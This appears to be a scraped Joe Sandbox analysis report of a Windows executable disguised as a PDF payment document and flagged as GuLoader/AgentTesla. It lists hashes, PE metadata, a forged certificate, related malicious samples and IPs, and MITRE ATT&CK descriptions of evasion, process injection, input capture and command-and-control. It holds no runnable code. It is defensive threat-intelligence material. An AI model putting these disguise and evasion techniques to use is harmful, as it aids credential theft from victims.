	47E9B75457446A3B3C86622DD282065B0F88603E2C009.exe	Get hash	malicious	Browse	216.58.198.33 216.58.205.78
	v5T12thNfA.exe	Get hash	malicious	Browse	216.58.198.33 216.58.205.78
	d4bw2VNEfb.exe	Get hash	malicious	Browse	216.58.198.33 216.58.205.78
	d4bw2VNEfb.exe	Get hash	malicious	Browse	216.58.198.33 216.58.205.78
	26.Baylor.edu_8.htm	Get hash	malicious	Browse	216.58.198.33 216.58.205.78
	NFE_7258.msi	Get hash	malicious	Browse	216.58.198.33 216.58.205.78
	pellamw.comfAX18933.htm	Get hash	malicious	Browse	216.58.198.33 216.58.205.78
	Inv-M735H.html	Get hash	malicious	Browse	216.58.198.33 216.58.205.78

Entrypoint:	0x401510
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x61EB05A4 [Fri Jan 21 19:12:36 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	076daaa528b1117cda2045bea4524014

Signature Valid:	false
Signature Issuer:	E=BATTERER@unhoping.PAA, CN=Weenong7, OU=misplays, O=Informationsmedarbejder5, L=BAL, S=VIRKNINGSLSE, C=SJ
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	1/21/2022 11:12:37 AM 1/21/2023 11:12:37 AM
Subject Chain	E=BATTERER@unhoping.PAA, CN=Weenong7, OU=misplays, O=Informationsmedarbejder5, L=BAL, S=VIRKNINGSLSE, C=SJ
Version:	3
Thumbprint MD5:	1467D1C1E6DD4034DFDBE58A23B8FC35
Thumbprint SHA-1:	1AC6D9779E9942A75B1E60A4BD5D45A71DBDED15
Thumbprint SHA-256:	3FD5B59E60075347EA5F82B01C8C65BE10162134A329C5C71EDB89DC602A7D9C
Serial:	00

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x252d4	0x26000	False	0.491217362253	data	6.04657240247	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x27000	0x178c	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x29000	0xb638	0xc000	False	0.451110839844	data	5.04272884383	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Name	RVA	Size	Type	Language	Country
RT_ICON	0x33351	0x12e7	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
RT_ICON	0x32ce9	0x668	data
RT_ICON	0x32a01	0x2e8	dBase IV DBT of @.DBF, block length 512, next free block index 40, next free block 0, next used block 0
RT_ICON	0x328d9	0x128	GLS_BINARY_LSB_FIRST
RT_ICON	0x30c25	0x1cb4	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
RT_ICON	0x2fd7d	0xea8	data
RT_ICON	0x2f4d5	0x8a8	dBase IV DBT of @.DBF, block length 1024, next free block index 40, next free block 0, next used block 0
RT_ICON	0x2ef6d	0x568	GLS_BINARY_LSB_FIRST
RT_ICON	0x2d0ce	0x1e9f	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
RT_ICON	0x2ab26	0x25a8	data
RT_ICON	0x29a7e	0x10a8	data
RT_ICON	0x29616	0x468	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0x29568	0xae	data
RT_VERSION	0x29300	0x268	MS Windows COFF Motorola 68000 object file	Chinese	Taiwan

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.820365390015966
TrID:	Win32 Executable (generic) a (10002005/4) 99.15% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	pago del 20.01.2022.PDF______________________________________.exe
File size:	218216
MD5:	4a3d98a8485779447c637caf1ccad892
SHA1:	972e617044f41500d54c0a9bc9304094fac5f1b4
SHA256:	ab9d325dda36e6f2f7f74aa65c067a67d24b6247271b27d997520593b7105d7d
SHA512:	40de4659a252626352a0fe42ce4bf25b3914bc660a4e5c38ba821665721a00f8a222512914a86e39a24621b568b1fbd340d1f0b63f731889daf22a875602aa20
SSDEEP:	3072:RIg+JpfZRIIIIIIIIIIIIIIFypPUZoSP4uj3dZRIIIIIIIIIIIIIIy+JpfIl:ugMhJCSP4iT0MQl
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........M...#...#...#.&.-...#...*...#.......#.Rich..#.........PE..L......a.................`...................p....@................

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25cb4	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x29000	0xb638	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x34000	0x1468
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x228	0x20
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x198	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report pago del 20.01.2022.PDF______________________________________.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: GuLoader

Threatname: Agenttesla

Yara Overview

Memory Dumps

Sigma Overview

Jbx Signature Overview

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\~DF3D483537E6EF527B.TMP

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
pago del 20.01.2022.PDF______________________________________.exe

Function 00411002 Relevance: 3.6, APIs: 1, Instructions: 2338
memoryCOMMONCrypto

Function 00411CB2 Relevance: 1.4, APIs: 1, Instructions: 175
memoryCOMMON

Function 004223E4 Relevance: 237.5, APIs: 124, Strings: 11, Instructions: 1210
COMMON

Function 00424AED Relevance: 110.6, APIs: 59, Strings: 4, Instructions: 400
COMMON

Function 00423AC7 Relevance: 75.5, APIs: 38, Strings: 5, Instructions: 241
COMMON

Function 00423E78 Relevance: 18.1, APIs: 12, Instructions: 94
COMMON

Function 00401510 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 200
COMMON

Function 0040E903 Relevance: 68.6, APIs: 35, Strings: 4, Instructions: 315
COMMON

Function 0042456F Relevance: 61.6, APIs: 34, Strings: 1, Instructions: 316
COMMON

Function 0042375B Relevance: 54.5, APIs: 28, Strings: 3, Instructions: 209
COMMON

Function 00424322 Relevance: 42.1, APIs: 23, Strings: 1, Instructions: 137
COMMON

Function 00423FD8 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 114
COMMON

Function 004241A1 Relevance: 22.6, APIs: 15, Instructions: 93
COMMON

Function 0040E8B5 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Function 1DB46903 Relevance: 6.2, APIs: 4, Instructions: 151
threadCOMMON

Function 1DB46940 Relevance: 6.1, APIs: 4, Instructions: 120
threadCOMMON

Function 00D0E63A Relevance: 1.6, APIs: 1, Instructions: 135
threadCOMMON

Function 00D0E5D0 Relevance: 1.6, APIs: 1, Instructions: 123
threadCOMMON

Function 1DB45084 Relevance: 1.6, APIs: 1, Instructions: 118
COMMON

Function 1DB45090 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON